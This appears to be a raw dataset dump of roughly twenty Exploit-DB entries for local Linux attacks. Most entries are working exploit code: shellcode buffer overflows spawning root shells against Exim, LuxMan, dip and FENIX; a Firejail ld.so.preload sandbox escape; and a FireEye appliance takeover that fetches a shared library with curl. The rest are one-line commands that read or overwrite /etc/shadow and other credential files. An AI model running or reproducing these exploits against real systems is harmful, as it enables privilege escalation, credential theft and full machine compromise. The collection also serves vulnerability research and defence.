deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1009
Description: Exim 4.41 - 'dns_build_reverse' Local Read Emails
Type: local
Platform: linux
Date: 2005-05-25
Author: Plugger

Exploit:
/* 
 * ripped straight off iDEFENSE advisory - so lazy I just picked
 * up GDB... bored on a weeknight :(
 * 
 * nothing to write home to mother about due to the fact that
 * you need a local user account on a server and all you
 * get is to read other people's emails ....
 * 
 * not even my own shellcode. aleph1 shellcode - cut and paste job 
 * with nops to pad.
 *
 * Regards,
 * Plugger aka Tony Lockett
 *
 * 
 * 
 */

char bomb[288]=

/* the gear from iDEFENSE */
"::%A:::::::::::::::::"                             /* 21 bytes  */
                                                    /* --------  */
/* NOPS for padding */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90"                                          /* 218 bytes */
                                                    /* --------- */
/* actual code courtesy Aleph1 */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"  /* 12 bytes  */
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"  /* 12 bytes  */
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"              /* 9 bytes   */
"\xe8\xdc\xff\xff\xff/bin/sh"                       /* 12 bytes  */

/* where EIP should point */
"\xf4\xf2\xff\xbf";                                 /*  4 bytes  */
                                                    /* --------  */
                                                    /* 49 bytes  */
                                                    /* --------  */
                                                    /* 288 bytes */
                                                    /* ========= */
main()
{
  char *exim[4];
  exim[0] = "/usr/exim/bin/exim";
  exim[1] = "-bh";
  exim[2] = bomb;
  exim[3] = 0x0;
  printf("Firing up exim - cross your fingers for shell!\n");
  execve(exim[0],exim,0x0);
  return;
}

// milw0rm.com [2005-05-25]
Exploit-DB #796
Description: Exim 4.42 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2005-02-07
Author: darkeagle

Exploit:
#!/bin/sh

# Local Lame R00T sploit for exim <= 4.42
# by Dark Eagle
#  
# My First Coding Release In bash ))

# Unl0ck Research Team
# 
# More Effective than C-code.
#
# @env.c content:
#
###################################################
#  #include <stdio.h>
#  #include <string.h>
#  int main(int argc, char *argv[])
#  {
#  char *addr_ptr;
#  addr_ptr = getenv(argv[1]);
#  printf("%s @ %p\n", argv[1], addr_ptr);
#  return 0;
#  }
###################################################

gcc @env.c -o @env

cp @env /usr/bin
cd /usr/exim/bin

CODE=`perl -e 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69
\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`;export CODE

@env CODE
echo "So, dude, starting..."
echo "NoW Just Type Address Of CODE"

read ADDRESS

echo "You are typed: $ADDRESS"

echo "Leeeeeeeeeeeeet'sssssssssss g[PII_REDACTED]00000!!!!!!!!!"

./exim -bh ::%A`perl -e 'print pack('L','$ADDRESS') x 256'`

# milw0rm.com [2005-02-07]
Exploit-DB #39535
Description: Exim 4.84-3 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2016-03-09
Author: Hacker Fantastic

Exploit:
#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps. 
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh 
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
# 
# -- Hacker Fantastic 
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
Exploit-DB #37987
Description: FENIX 0.92 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2015-08-27
Author: Juan Sacco

Exploit:
# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
# Program: fenix - development environment for making 2D games
# Tested on: GNU/Linux - Kali Linux 2.0
#
# Description: FENIX v0.92 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://fenix.divsite.net/
# Kali Linux 2.0 package: http.kali.org_kali_dists_sana_main_binary-i386_Packages
# MD5: 38bc1c509eb023c24a58cda0c5db19d9


import os,subprocess
def run():
  try:
    print "# FENIX v0.92 Stack-BoF by Juan Sacco"
    print "# Wasting CPU clocks on unusable exploits"
    print "# This exploit is for educational purposes only"
    # Basic structure: JUNK + SHELLCODE + NOPS + EIP
    junk = "\x41"*4
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*254
    eip = "\x44\xd2\xff\xbf"
    subprocess.call(["fenix-fxi", junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "FENIX not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Sorry, something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit FENIX v0.92 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
Exploit-DB #39628
Description: FireEye - Malware Input Processor Privilege Escalation
Type: local
Platform: linux
Date: 2016-03-28
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=670

The mip user is already quite privileged, capable of accessing sensitive network data. However, as the child process has supplementary gid contents, there is a very simple privilege escalation to root. This is because the snort configuration is writable by that group:

$ ls -l /data/snort/config/snort.conf
-rw-rw-r-- 1 fenet contents 1332 Dec  2 18:02 /data/snort/config/snort.conf

This can be exploited by placing a shared library in a writable directory that is mounted with the “exec” option, and appending a “dynamicengine” directive to the snort configuration.

# mount | grep -v noexec | grep rw 
...
/dev/sda8 on /var type ext4 (rw,noatime)
/dev/sda11 on /data type ext4 (rw,noatime)
/dev/sda9 on /data/db type ext4 (rw,noatime,barrier=0)
tmpfs on /dev/shm type tmpfs (rw)

It looks like /dev/shm is a good candidate for storing a shared library.

First, I create and compile a shared library on my workstation, as there is no compiler available on the FireEye appliance:

$ cat test.c 
void __attribute__((constructor)) init(void)
{
        system("/usr/bin/id > /tmp/output.txt");
}
$ gcc test.c -shared -s -fPIC -o test.so

Now fetch that object on the FireEye machine, and instruct snort to load it:

fireeye$ curl http://example.com/test.so > /dev/shm/test.so
fireeye$ printf “dynamicengine /dev/shm/test.so\n” >> /data/snort/config/snort.conf

The snort process is regularly restarted to process new rules, so simply wait for the snort process to respawn, and verify we were able to execute commands as root:

fireeye$ cat /tmp/output.txt                                                           
uid=0(admin) gid=0(root) groups=0(root)

And now we’re root, with complete control of the FireEye machine. We can load a rootkit, persist across reboots or factory resets, inspect or modify traffic, or perform any other action.
Exploit-DB #43359
Description: Firejail < 0.9.44.4 / < 0.9.38.8 LTS - Local Sandbox Escape
Type: local
Platform: linux
Date: 2017-01-04
Author: Sebastian Krahmer

Exploit:
/* firejail local root exploit (host to host)
 *
 * (C) 2017 Sebastian Krahmer under the GPL.
 *
 * WARNING: This exploit uses ld.so.preload technique.
 * If you are in bad luck, you may end up with an unusable system.
 * SO BE WARNED. ONLY TEST IT IN YOUR SAFE VM's.
 *
 * Get the beauty that this is a shared lib and a running
 * executable at the same time, as we tamper with /etc/ld.so.preload
 *
 * Therefore you have to compile it like this:
 *
 * $ cc -fPIC -fpic -std=c11 -Wall -pedantic -c firenail.c
 * $ gcc -shared -pie firenail.o -o firenail
 * $ ./firenail
 *
 * DO NOT TELL ME THAT SELINUX WOULD HAVE PREVENTED THIS EXPLOIT.
 * IF I WAS ABOUT TO BYPASS SELINUX ALONG, I WOULD HAVE DONE THE
 * EXPLOIT DIFFERENTLY.
 *
 * Analysis: Sandboxing is cool, but it has to be done right.
 * Firejail has too broad attack surface that allows users
 * to specify a lot of options, where one of them eventually
 * broke by accessing user-files while running with euid 0.
 * There are some other similar races. Turns out that it can be
 * _very difficult_ to create a generic sandbox suid wrapper thats
 * secure but still flexible enough to sandbox arbitrary binaries.
 *
 * Tested with latest commit 699ab75654ad5ab7b48b067a2679c544cc8725f6.
 */
#define _POSIX_C_SOURCE 200212
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>


const char *const ldso = "/etc/ld.so.preload";

int main();

__attribute__((constructor)) void init(void)
{
	if (geteuid())
		return;

	unlink(ldso);
	char *sh[] = {"/bin/sh", "--noprofile", "--norc", NULL};
	setuid(0);
	setgid(0);
	execve(*sh, sh, NULL);
	exit(1);
}


void die(const char *s)
{
	perror(s);
	exit(errno);
}


int main()
{
	printf("[*] fire(j|n)ail local root exploit 2017\n\n");

	char me[4096] = {0}, *home = getenv("HOME");
	if (!home)
		die("[-] no $HOME");
	if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0)
		die("[-] Unable to find myself");

	char path[256] = {0};
	snprintf(path, sizeof(path) - 1, "%s/.firenail", home);
	if (mkdir(path, 0700) < 0 && errno != EEXIST)
		die("[-] mkdir");

	snprintf(path, sizeof(path) - 1, "%s/.firenail/.Xauthority", home);
	if (symlink(ldso, path) < 0 && errno != EEXIST)
		die("[-] symlink");

	system("firejail --private=.firenail /usr/bin/id");

	int fd = open(ldso, O_RDWR|O_TRUNC);
	if (fd < 0)
		die("[-] open");
	write(fd, me, strlen(me));
	write(fd, "\n", 1);
	close(fd);

	char *su[] = {"/bin/su", NULL};
	execve(*su, su, NULL);
	die("[-] execve su");

	return -1;
}
Exploit-DB #877
Description: Frank McIngvale LuxMan 0.41 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2005-03-14
Author: Kevin Finisterre

Exploit:
#!/usr/bin/perl -w
#
# luxman exploit
#
# ii  luxman         0.41-19.1      Pac-Man clone (svgalib based)
#
# Tested with "security compat" set in /etc/vga/libvga.config on debian unstable 3.1
#
# kfinisterre@jdam:~$ ./luxman_ex.pl
# LuxMan v0.41, Copyright (c) 1995 Frank McIngvale
# LuxMan comes with ABSOLUTELY NO WARRANTY; see COPYING for details.
# 
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# Using SIS driver, 2048KB. Chiptype=8
# svgalib 1.4.3
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# svgalib: Failed to initialize mouse.
# 
# The frame rate is now set to 1 frames per second.
# If the game seems too fast, too slow, or too jerky,
# you can adjust this value the `-r' option.
# 
# Calibrating delay...-664257
# Sound server started [pid:7082]
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)
#

($offset) = @ARGV,$offset || ($offset = 0);

$sc  = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";

$ENV{"FOO"} = $sc;

$buf = "A" x 8732;
$buf .= (pack("l",(0xbfffffff-512+$offset)) x2);

#exec("strace -u kfinisterre /usr/games/luxman -r 1 -f $buf");
exec("/usr/games/luxman -r 1 -f $buf");

# milw0rm.com [2005-03-14]
Exploit-DB #19078
Description: Fred N. van Kempen dip 3.3.7 - Local Buffer Overflow (2)
Type: local
Platform: linux
Date: 1998-05-05
Author: pr10n

Exploit:
// source: https://www.securityfocus.com/bid/86/info

A buffer overflow resides in 'dip-3.3.7o' and derived programs. This is a problem only on systems where 'dip' is installed setuid. The culpable code is an 'sprintf()' in line 192 in 'main.c': 

sprintf(buf, "%s/LCK..%s", _PATH_LOCKD, nam);

/* Linux x86 dip 3.3.7p exploit by pr10n */


#include <stdio.h>

#define NOP 0x90


/*thanks to hack.co.za*/
char shellcode[] =
          "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d"
          "\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3"
          "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
          "\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";



unsigned long get_sp(void){ __asm__("movl %esp, %eax");}

main(int argc, char *argv[]){

char buf[136];
int i;
int offset=0,*ptr;
long ret;


if(argc!=2){
printf("usage: %s offset\n",argv[0]);
exit(0);}

offset=atoi(argv[1]);

ret=(get_sp()-offset);

for(i=1;i<136;i+=4){
*(long *)&buf[i]=ret;}

printf("\nusing: 0x%x\n\n",ret);

for(i=0;i<(sizeof(buf)-strlen(shellcode)-40);i++)
buf[i]=NOP;

memcpy(buf+i,shellcode,strlen(shellcode));

execl("/usr/sbin/dip","dip","-k","-l",buf,(char *)0);

}
Exploit-DB #22775
Description: FreeWnn 1.1.1 - JServer Logging Option Data Corruption
Type: local
Platform: linux
Date: 2003-06-14
Author: Stefano Di Paola

Exploit:
source: https://www.securityfocus.com/bid/7918/info

A vulnerability has been reported for FreeWnn that may result in an attacker obtaining elevated privileges.

It has been reported that jserver may allow an attacker to corrupt arbitrary files. Due to this, an attacker may be able to overwrite system files, and potentially gain elevated privileges. 

$>/usr/bin/Wnn4/jserver -s /etc/shadow
$>/usr/bin/Wnn4/wddel -D localhost -n '
> root::12146:0:99999:7:::
> bin:*:12146:0:99999:7:::
> daemon:*:12146:0:99999:7:::
> adm:*:12146:0:99999:7:::
> lp:*:12146:0:99999:7:::
> sync:*:12146:0:99999:7:::
> shutdown:*:12146:0:99999:7:::
> halt:*:12146:0:99999:7:::
> ' -d 123
$>su -
Exploit-DB #26218
Description: Frox 0.7.18 - Arbitrary Configuration File Access
Type: local
Platform: linux
Date: 2005-09-01
Author: rotor

Exploit:
source: https://www.securityfocus.com/bid/14711/info

Frox is prone to a vulnerability that permits read access to arbitrary files.

Successful exploitation of this vulnerability will grant the attacker read access to arbitrary files on the system in the security context of the Frox process. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.

It should be noted that this issue is only exploitable if Frox is installed with setuid or setgid privileges. 

mq(/usr/local/sbin)-> frox -f /etc/master.passwd
Unrecognised option
"root:$2a$04$nR2msaB9.nAgR4qI6pqBNOQbH6LoqALZTmqsqhGEJLLwyTfsxXTd.:0:0::0:0:Charlie"
at line 3 of /etc/master.passwd
Error reading configuration file
Exploit-DB #20691
Description: FTPFS 0.1.1/0.2.1/0.2.2 - mount Buffer Overflow
Type: local
Platform: linux
Date: 2001-03-13
Author: Frank DENIS

Exploit:
source: https://www.securityfocus.com/bid/2498/info

FTPFS is a Linux kernel module allowing users to mount remote files from any standard FTP server as a local filesystem.

A version of FTPFS is vulnerable to a buffer overflow leading to a denial of service, and potentially execution of arbitrary code. This overflow can be exploited by any local user with access to the mount command on a system with FTPFS installed.

mount -t ftpfs none /mnt -o ip=127.0.0.1,user=xxxxxxxxxxxxxxxxxxxxxxxxxxxx...
Exploit-DB #25789
Description: FUSE 2.2/2.3 - Local Information Disclosure
Type: local
Platform: linux
Date: 2005-06-06
Author: Miklos Szeredi

Exploit:
// source: https://www.securityfocus.com/bid/13857/info

FUSE is susceptible to a local information disclosure vulnerability. This issue is due to a failure of the kernel module to properly clear used memory prior to its reuse.

This vulnerability allows malicious local users to gain access to potentially sensitive kernel memory, aiding them in further attacks.

FUSE versions 2.2, 2.2.1, 2.3-pre*, and 2.3-rc1, running on Linux kernel versions 2.4, through 2.6 are affected by this issue. 

/*
    memfs.c: Proof of concept exploit for FUSE < 2.3.0
    
    memfs.c is based on fuse/example/hello.c from Miklos Szeredi
    
    Details: http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt
    
    Build: Copy memfs.c over hello.c and run make in the fuse base directory
    
    Usage: Create a mountpoint ; ./hello /mnt/getmem/ ; cat /mnt/getmem/memfs ;
           If you see random bytes you are vulnerable.
           
    Sven Tantau - http://www.sven-tantau.de/ - 01.06.2005
    
    
    
    FUSE: Filesystem in Userspace
    Copyright (C) 2001-2005  Miklos Szeredi <miklos@szeredi.hu>

    This program can be distributed under the terms of the GNU GPL.
*/

#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>

static const char *memfs_str = "";
static const char *memfs_path = "/memfs";

static int memfs_getattr(const char *path, struct stat *stbuf)
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));
    if(strcmp(path, "/") == 0) {
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    }
    else if(strcmp(path, memfs_path) == 0) {
        stbuf->st_mode = S_IFREG | 0444;
        stbuf->st_nlink = 1;
        stbuf->st_size = 4223;
    }
    else
        res = -ENOENT;

    return res;
}

static int memfs_getdir(const char *path, fuse_dirh_t h, fuse_dirfil_t filler)
{
    if(strcmp(path, "/") != 0)
        return -ENOENT;

    filler(h, ".", 0, 0);
    filler(h, "..", 0, 0);
    filler(h, memfs_path + 1, 0, 0);

    return 0;
}

static int memfs_open(const char *path, struct fuse_file_info *fi)
{
    if(strcmp(path, memfs_path) != 0)
        return -ENOENT;

    if((fi->flags & 3) != O_RDONLY)
        return -EACCES;

    return 0;
}

static int memfs_read(const char *path, char *buf, size_t size, off_t offset,
                      struct fuse_file_info *fi)
{
    size_t len;
    (void) fi;
    if(strcmp(path, memfs_path) != 0)
        return -ENOENT;

    len = strlen(memfs_str);
    if (offset < len) {
        if (offset + size > len)
            size = len - offset;
        memcpy(buf, memfs_str + offset, size);
    } else
        size = 0;

    return size;
}

static struct fuse_operations memfs_oper = {
    .getattr	= memfs_getattr,
    .getdir	= memfs_getdir,
    .open	= memfs_open,
    .read	= memfs_read,
};

int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &memfs_oper);
}
Exploit-DB #23849
Description: FVWM 2.4.17/2.5.8 - fvwm_make_browse_menu.sh Scripts Command Execution
Type: local
Platform: linux
Date: 2004-03-19
Author: Dominik Vogt

Exploit:
source: https://www.securityfocus.com/bid/9922/info

It has been reported that the FVWM fvwm_make_browse_menu.sh script is prone to a command execution vulnerability. This issue is due to the script allowing a user to define which application should be used to execute the file via its filename.

An attacker may be able to leverage this issue to cause arbitrary commands to be executed with the privileges of a victim user.

$ touch 'Exec xmessage "0wn3d"'
Exploit-DB #23414
Description: FVWM 2.4/2.5 - fvwm-menu-Directory Command Execution
Type: local
Platform: linux
Date: 2003-12-05
Author: auto22238

Exploit:
source: https://www.securityfocus.com/bid/9161/info

It has been reported that FVWM may be prone to a command execution vulnerability that may allow an attacker to execute malicious commands on a vulnerable system. It has been reported that the fvwm-menu-directory component does not properly sanitize user input and allows a user with write permissions to a directory to execute arbitrary commands.

FVWM versions 2.14.17 and 2.5.8 have been reported to be vulnerable to this issue, however other versions may be affected as well. 

$ touch '
> Exec xmessage "0wn3d"
>
> '
$ write fvwmguy <<< "k3wl mp3 in `pwd` OMG LOLOLOL!!!1111"
Exploit-DB #19243
Description: G. Wilford man 2.3.10 - Symlink
Type: local
Platform: linux
Date: 1999-06-02
Author: Thomas Fischbacher

Exploit:
source: https://www.securityfocus.com/bid/305/info

The man command created a temporary file under /tmp with a predictable name and is willing to follow symbolic links. This may allow malicious local users to create arbitrarily named files.

zsoelim(1) is a utility part of the man package which prepocess man pages and satisfy .so requests in roff input. This utility may be called when running the man(1) command. It creates temporary filenames are of the form "/tmp/zman0<pid>aaa" where <pid> is the process id of the zsoelim process. The program fails to check for the existance of symlinks and follows them creating arbitrary files with the permissions of the user running man. 

perl -e 'for($i=1000;$i<5000;$i++){symlink "/etc/nologin", "/tmp/zman0${i}aaa";}'
Exploit-DB #33963
Description: gdomap - Multiple Local Information Disclosure Vulnerabilities
Type: local
Platform: linux
Date: 2010-05-07
Author: Dan Rosenberg

Exploit:
source: https://www.securityfocus.com/bid/40005/info

gdomap is prone to multiple local information-disclosure vulnerabilities.

Local attackers can exploit these issues to obtain sensitive information that may lead to further attacks. 

The following example commands are available:

$ gdomap -c /etc/shadow
$ gdomap -a /etc/shadow
Exploit-DB #25688
Description: Gedit 2.x - Filename Format String
Type: local
Platform: linux
Date: 2005-05-30
Author: jsk:exworm

Exploit:
source: https://www.securityfocus.com/bid/13699/info

gEdit is prone to a format-string vulnerability. Exploitation may occur when the program is invoked with a filename that includes malicious format specifiers.

Attackers could exploit this issue to corrupt arbitrary regions of memory with attacker-supplied data, potentially resulting in the execution of arbitrary code in the context of the user running the program. 

bash-2.05b#cat fmtexp.c

#include <stdio.h>


int
main()
{
printf("hah gedit\n");
}


bash-2.05b#gcc -o fk fmtexp.c

bash-2.05b#mv fk AA%n%n%n.c

bash-2.05b#gedit AA%n%n%n.c